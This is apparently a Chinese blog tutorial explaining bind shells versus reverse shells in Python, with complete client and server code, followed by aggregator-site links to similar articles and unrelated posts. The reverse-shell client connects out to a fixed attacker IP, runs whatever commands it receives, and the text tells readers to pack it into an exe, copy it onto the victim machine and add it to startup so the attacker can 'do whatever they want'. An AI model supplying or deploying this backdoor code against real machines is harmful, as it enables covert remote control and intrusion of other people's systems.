python shell与反弹shell
python shell与反弹shell
正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接
反弹shell,攻击端是服务端,被攻击端是客户端
正常shell,攻击端是客户端,被攻击端是服务端
反弹shell,先启用服务端,再启用客户端
反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)
shell:
客户端:
import socket
s=socket.socket()
s.connect(("192.168.0.114",1234)) #连接的服务器的ip地址,端口
for i in range(10):
com=input("command:")
s.send(com.encode()) #发送信息
d=s.recv(1024) #接受数据的大小
print(d.decode(),len(d))
服务端:
#服务器端
import socket
import os
s=socket.socket() #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind(('0.0.0.0',1234)) #绑定地址和端口#0.0.0.0接收任意客户端ip连接
s.listen(5) #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
con,addr=s.accept() #接受一个客户端的连接
#print(con,addr) for i in range(10):
cmd=con.recv(1024)
print(cmd)
command=cmd.decode()
if command.startswith("cd"):
os.chdir(command[2:].strip()) #切换路径
result=os.getcwd() #显示路径
else:
result=os.popen(command).read()
if result:
con.send(result.encode())
else:
con.send(b"OK!")
测试:(客户端(win10)、服务端(win7))
1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)
打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件
2.在win10运行客户端
反弹shell:
客户端:
#反弹shell,攻击端是服务端,被攻击端是客户端
#正常shell,攻击端是客户端,被攻击端是服务端
#例:攻击端(win10),被攻击端(win7),正常shell,先在win7启动服务端,再在win10启用客户端
# 反弹shell,先在win10启用服务端,再在win7启用客户端
# 反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)
# 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接
import socket
import os
import sys
import time
#print(sys.argv)
#hacker=sys.argv[1]
hacker="192.168.0.144"
port=1234
server=(hacker,port)
s=socket.socket()
s.connect(server) while 1:
# 得到被攻击端的所在目录,并发送
dir=os.getcwd()
#print(dir)
s.send(dir.encode())
# 接收来自攻击端(服务器端)的命令,并进行处理
cmd=s.recv(1024).decode()
# 对接收的命令做出判断
# 退出
if cmd=="exit":
break
elif cmd.startswith("cd"):
os.chdir(cmd[2:].strip())
result="切换目录成功!"
else:
result=os.popen(cmd).read()
if not result:
result="命令执行完毕!" s.send(result.encode())
time.sleep(1) s.close()
print("退出!")
服务端:
import socket
import time
server=("0.0.0.0",1234)
s=socket.socket()
s.bind(server)
s.listen(5)
con,addr=s.accept()
print(addr,"已经接入!")
while 1:
#接收来自被攻击端的所在目录
dir=con.recv(1024).decode()
cmd=input(dir+":").strip()
con.send(cmd.encode())
if cmd=="exit":
break
result=con.recv(65365)
print(result.decode())
time.sleep(1)
s.close()
print("退出!")
测试:
1.先在win10运行反弹shell服务端
2.再把反弹shell客户端打包成exe文件夹,复制到win7中,然后双击运行
3.这时可以看到服务端(win10)已经和客户端(win7)连接上了。#只要服务端一直运行,如果把客户端的程序加入到开机自启,这样客户端已开启就被连接到服务端
4.接下就可以为所欲为了
python shell与反弹shell的更多相关文章
- 利用python模拟菜刀反弹shell绕过限制
有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from sock ...
- [Shell]Telnet反弹shell
原作者:包子love 文章出处:黑白之道 今天给大家介绍两种telnet反弹shell的方法,相对于其他方式反弹shell要简单一点,可作为按需远程控制或留后门使用,希望可以帮助到大家. 前提条件:目 ...
- [Shell]Powershell反弹shell
原作者:Cream 文章出处: 贝塔安全实验室 0x01 Powershell反弹shell Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 . ...
- linux 反弹shell
Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...
- 反弹Shell原理及检测技术研究
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: ...
- Linux 反弹 Shell
攻击场景 Attacker:192.168.0.106 win10 Victim:192.168.2.140 kali NC 反弹 shell Netcat简介 俗称瑞士军刀或NC,小巧强悍,可以读写 ...
- Liunx反弹shell的几种方式
什么是反弹shell? 简单理解,通常是我们主动发起请求,去访问服务器(某个IP的某个端口),比如我们常访问的web服务器:http(https)://ip:80,这是因为在服务器上面开启了80端口的 ...
- Linux下反弹shell笔记
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...
- Windows正向绑定shell和反向反弹shell的Python代码
Windows下的shell原理 经过查阅资料,使用os.dup2(nfd, ofd)的方式重定向socket的输入输出到windows系统的cmd是无法做到的,属于系统原因,不能直接复制Linux下 ...
随机推荐
- es6入门3--箭头函数与形参等属性的拓展
对函数拓展兴趣更大一点,优先看,前面字符串后面再说,那些API居多,会使用能记住部分就好. 一.函数参数可以使用默认值 1.默认值生效条件 在变量的解构赋值就提到了,函数参数可以使用默认值了.正常我们 ...
- 【转】深入理解Android之View的绘制流程
概述 本篇文章会从源码(基于Android 6.0)角度分析Android中View的绘制流程,侧重于对整体流程的分析,对一些难以理解的点加以重点阐述,目的是把View绘制的整个流程把握好,而对于特定 ...
- 【译】微型ORM:PetaPoco
PetaPoco是一款适用于.Net 和Mono的微小.快速.单文件的微型ORM. PetaPoco有以下特色: 微小,没有依赖项……单个的C#文件可以方便的添加到任何项目中. 工作于严格的没有装饰的 ...
- 行为型---命令模式(Command Pattern)
命令模式的定义 命令模式属于对象的行为型模式.命令模式是把一个操作或者行为抽象为一个对象中,通过对命令的抽象化来使得发出命令的责任和执行命令的责任分隔开.命令模式的实现可以提供命令的撤销和恢复功能. ...
- mysql写注释的几种方法
MySQL的注释风格总的来说有三种.它们分别是 1.单行注释可以用"#" select 1 as cname; #this is a comment +-------+ | cna ...
- PHP 依赖注入和控制反转再谈(二)
今天有个朋友看到yii2中介绍的依赖注入一头雾水,之前我写过类似的文章发给他看了,可能还没深入理解吧,这里我再通俗点描述下依赖注入的原理吧,尽可能滴说通俗易懂一点吧:先还是扯下概念性滴问题(概念问题我 ...
- Java Date类的使用总结
Date类表示特定的瞬间,精确到毫秒. 有2种方法可以创建Date对象(这里不考虑已过时的构造函数) 1.public Date()——分配 Date 对象并初始化此对象,以表示分配它的时间(精确到毫 ...
- markdown基础入门
一.标题 语法:# 文字 注意:1个#号代表标题1,两个代表标题2,依次类推 # 标题1 ## 标题2 ### 标题3 #### 标题4 ##### 标题5 ###### 标题6 二.加粗,斜体 语法 ...
- wp rest api 授权方法步骤(使用JWT Authentication插件)
环境:wordpress 4.7 以上,WP自带的 rest api v2 目标:使用javascript与wp rest api交互,其中编辑.新增.删除等需要Oauth认证授权 方法: 步骤一: ...
- 自定义mvc或mtv框架:基于wsgiref的web框架
把mvc或mtv框架的model数据库,view:html,control逻辑处理,url判别,wsgiref集中在一个文件 代码如下 #!/usr/bin/env python #-*- codin ...